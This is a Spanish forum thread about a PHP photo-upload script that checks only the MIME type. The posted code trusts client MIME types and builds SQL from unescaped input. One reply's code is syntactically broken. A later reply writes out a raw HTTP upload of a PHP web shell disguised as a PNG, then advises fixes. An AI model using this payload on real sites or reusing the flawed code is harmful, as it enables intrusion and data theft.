Autor
|
Tema: galeria de fotos, comprobar tipo de imagen (Leído 4,831 veces)
|
DJmixmancar
Desconectado
Mensajes: 98
|
Tengo un problema con mi peque sistema, mi sistema es uno para subir fotos, solo quiero que suba solo fotos, por ejemplo jpg, gif pero no se donde colocar el codigo de comprbar, bueno es que el, se me ocurrio que que si suvia con el mismo nombre lo remplace por un numero mas, pero cuando subia con espacio o un caracter de simbolo eahi esta el error, alguien saver como cambiar esto porfavor es urgente, <?php include("config.php"); $tag=$_POST["tag"]; $SIZE="1000000"; $UPLOAD_DIR ="../userfotos/"; if (is_uploaded_file($archivo)) { if ( $archivo_size > $SIZE ) { echo "<b><CENTER>El Servidor acepta sólo archivos de tamaño menor que $SIZE."; echo " Ingrese de Nuevo su Aviso</CENTER></b>"; exit; } $nombreaponer=strtolower($archivo_name); $alternativo=""; while (@fopen($UPLOAD_DIR.$alternativo.$nombreaponer,"r")) { $alternativo++; } $nombreaponer=$alternativo.$nombreaponer; copy($archivo,$UPLOAD_DIR.$nombreaponer); unlink($archivo); $url_completa ="$UPLOAD_DIR$nombreaponer";
$ingresar=mysql_query("insert into fotos(titulo,Comentario,url_,tag,pass_delete,categria,url_completa,data,user) values ('$titulo','$cuerpo','$nombreaponer','$tag','$pass_delete','$nombre','$url_completa','$fecha','$quien')",$database_server); echo "se agrego el archivo "; echo"<b>"; echo"$nombreaponer"; echo"<br>"; echo"<p>el codigo de delete es</p>"; echo"<b>"; echo "$pass_delete"; echo"<br>"; echo"<b>"; echo '<p><a href="./formulario_upload.php">Subir mas Fotos</a></p>'; } else { echo "no se puedo agragar su archivo"; //$ingresar=mysql_query("insert into tabla(titulo,cuerpo) values ('$titulo','$cuerpo')",$link); } ?>
|
|
|
En línea
|
|
|
|
дٳŦ٭
GNU/Linux Infrastructure Specialist
Ex-Staff
Desconectado
Mensajes: 5.110
|
porfavor es urgente
aquí no hacemos la tarea de nadie pero a ver.. te doy una pista, buscate info sobre $_FILES y sus atributos.. tiene la opción de detectar el mime del archivo. Suerte.
|
|
|
En línea
|
|
|
|
DJmixmancar
Desconectado
Mensajes: 98
|
hola man gracia pero si se eso me olvide de agregar. if ($userfile_type=="image/jpeg" || $userfile_type=="image/pjpeg" || $userfile_type=="image/gif" || $userfile_type=="image/bmp") {}
el problema es no se donde obicarlo esque cada vez que lo ubico me bota error de ubicacion de }
lo locado en todas partepero sale error
|
|
|
En línea
|
|
|
|
Karman
|
me parece mejor algo así: $imagetypes=array('image/jpeg','image/gif','image/png','image/tiff','image/bmp'); ... if ( $archivo_size > $SIZE ) { echo "<b><CENTER>El Servidor acepta sólo archivos de tamaño menor que $SIZE."; echo " Ingrese de Nuevo su Aviso</CENTER></b>"; } if(!in_array($userfile_type,$imagetypes)){ echo "<b><CENTER>El Servidor acepta sólo imagenes"; echo " Ingrese de Nuevo su Aviso</CENTER></b>"; }
S2
|
|
|
En línea
|
|
|
|
DJmixmancar
Desconectado
Mensajes: 98
|
Hola man Gracias por responder pero nada, ahora ndad puedo subir pucha, que hago
|
|
|
En línea
|
|
|
|
DJmixmancar
Desconectado
Mensajes: 98
|
amigo nda no se donde colocar ayudame porfavor yo etrataDO ASI pero nada <?php include("config.php"); //include("../../conex.php");
//$link=Conectarse(); //$random_number = $_POST['$random_number'];
$tipo_archivo = $HTTP_POST_FILES['archivo']['type'];
$tag=$_POST["tag"];
$SIZE="1000000";
$UPLOAD_DIR ="../userfotos/";
if (is_uploaded_file($archivo)) {
$imagetypes=array('image/jpeg','image/gif','image/png','image/tiff','image/bmp');
f ( $archivo_size > $SIZE ) {
echo "<b><CENTER>El Servidor acepta sólo archivos de tamaño menor que $SIZE.";
echo " Ingrese de Nuevo su Aviso</CENTER></b>";
exit;
}
$nombreaponer=strtolower($archivo_name);
$alternativo="";
while (@fopen($UPLOAD_DIR.$alternativo.$nombreaponer,"r"))
{
$alternativo++;
}
$nombreaponer=$alternativo.$nombreaponer;
copy($archivo,$UPLOAD_DIR.$nombreaponer);
unlink($archivo); $url_completa ="$UPLOAD_DIR$nombreaponer";
//$url_completa = "xddd"; $ingresar=mysql_query("insert into fotos(titulo,Comentario,url_,tag,pass_delete,categria,url_completa,data,user) values ('$titulo','$cuerpo','$nombreaponer','$tag','$pass_delete','$nombre','$url_completa','$fecha','$quien')",$database_server); echo "se agrego el archivo ";
echo"<b>"; echo"$nombreaponer"; echo"<br>"; echo"<p>el codigo de delete es</p>"; echo"<b>"; echo "$pass_delete"; echo"<br>"; echo"<b>"; echo '<p><a href="./formulario_upload.php">Subir mas Fotos</a></p>'; } else { echo "no se puedo agragar su archivo"; //$ingresar=mysql_query("insert into tabla(titulo,cuerpo) values ('$titulo','$cuerpo')",$link); }
?>
nada aqui te dejo el codigo de from </label>
<label>
<textarea name="cuerpo" cols="50" rows="5" id="cuerpo"></textarea>
<br /> <br />
pdf<br /> </label>
<label>
<input name="archivo" type="file" id="archivo" />
<br /> <br /> <input name="pass_delete" type="hidden" value="<? echo $random_number;?>" /> <input name="quien" type="hidden" value="<? echo $quien;?>" /> <input name="fecha" type="hidden" value="<?=fecha() ?>" />
<br /> </label>
<label>
<input type="submit" name="Submit" value="guardar" />
</label>
</form>
|
|
|
En línea
|
|
|
|
Karman
|
fijate si así te funciona: <?php include("config.php"); //include("../../conex.php"); //$link=Conectarse(); //$random_number = $_POST['$random_number']; $archivo = $_FILES['archivo']; $tag=$_POST["tag"]; $SIZE="1000000"; $UPLOAD_DIR ="../userfotos/"; $imagetypes=array('image/jpeg','image/gif','image/png','image/tiff','image/bmp'); if ($archivo['size'] > $SIZE ) { echo "<b><CENTER>El Servidor acepta sólo archivos de tamaño menor que $SIZE."; echo " Ingrese de Nuevo su Archivo</CENTER></b>"; } if(!in_array($archivo['type'],$imagetypes)){ echo "<b><CENTER>El Servidor acepta sólo imagenes"; echo " Ingrese de Nuevo su Archivo</CENTER></b>"; } $alternativo=0; do{ $nombreposible=$UPLOAD_DIR.($alternativo++).$nombreaponer; $nombreaponer=$nombreposible; echo "<b><CENTER>Error: No se a podido subir la imagen...</CENTER></b>"; } $url_completa =$nombreaponer; $ingresar=mysql_query("insert into fotos(titulo,Comentario,url_,tag,pass_delete,categria,url_completa,data,user) values ('$titulo','$cuerpo','$nombreaponer','$tag','$pass_delete','$nombre','$url_completa','$fecha','$quien')",$database_server); echo "se agrego el archivo "; echo"<b>"; echo"$nombreaponer"; echo"<br>"; echo"<p>el codigo de delete es</p>"; echo"<b>"; echo "$pass_delete"; echo"<br>"; echo"<b>"; echo '<p><a href="./formulario_upload.php">Subir mas Fotos</a></p>'; } else { echo "no se puedo agregar su archivo"; } ?>
S2
|
|
|
En línea
|
|
|
|
WHK
|
con eso yo fácilmente podría subirle un php y hacer código de ejecución remota: telnet web.com 80 POST /test.php HTTP/1.1 Host: web.com Connection: close Content-Type: multipart/form-data; boundary=---------------------------15890672924370 Content-Length: 251
-----------------------------15890672924370 Content-Disposition: form-data; name="archivo"; filename="shell.php" Content-Type: image/png
<?php echo nl2br(htmlspecialchars(system($_COOKIE['eval']), ENT_QUOTES)); ?><br /><?php phpinfo(); ?> y si le pongo comillas al título y demás puedo causar una inyección sql. Mejor verifica extensiones basados en strpos tomando los ultimos tres o cuatro carácteres segín la extensión a comparar y devuelves true o false si es permitido o no y asegurate siempre de utilizar mysq escape real string para evitar las inyecciones. Si quieres algo mas avanzado y evitar que se ejecuten via LFI aunque sean subidas con extensión jpg utiliza gd.
|
|
|
En línea
|
|
|
|
Karman
|
con eso yo fácilmente podría subirle un php y hacer código de ejecución remota si en realidad no se hablo de seguridad... un buen mecanismo sería comprobar la extensión final del archivo y eliminar extensiones duplicadas si existen... pero bueno... la idea del post no era esa... S2
|
|
|
En línea
|
|
|
|
WHK
|
Y por eso después aparecen las webs expuestas para que menores de 15 años las desfaceen sabiendo que la gente que viene a pedir este tipo de cosas copian y pegan código sin conocer mucho del tema. Solo es hábito.
|
|
|
En línea
|
|
|
|
|
Mensajes similares |
|
Asunto |
Iniciado por |
Respuestas |
Vistas |
Último mensaje |
|
|
Un virus para móviles bloquea la galería de fotos
Noticias
|
wolfbcn
|
0
|
1,441
|
17 Marzo 2012, 02:21 am
por wolfbcn
|
|
|
Galeria de fotos simple con zoom
Desarrollo Web
|
Jnex
|
3
|
3,887
|
23 Abril 2012, 16:28 pm
por EFEX
|
|
|
[SOLUCIONADO] ¿Como comprobar que imagen está usando un control?
.NET (C#, VB.NET, ASP)
|
Eleкtro
|
3
|
2,824
|
24 Diciembre 2012, 18:14 pm
por $Edu$
|
|
|
[Ayuda] Galeria con efecto de cambiar imagen al pasar el mouse (javascript)
Desarrollo Web
|
Graphixx
|
1
|
3,259
|
8 Enero 2013, 09:04 am
por EFEX
|
|
|
Meter galería fotos sencilla en web HTML5
Desarrollo Web
|
Morgan007
|
6
|
10,833
|
11 Febrero 2013, 22:16 pm
por EFEX
|
|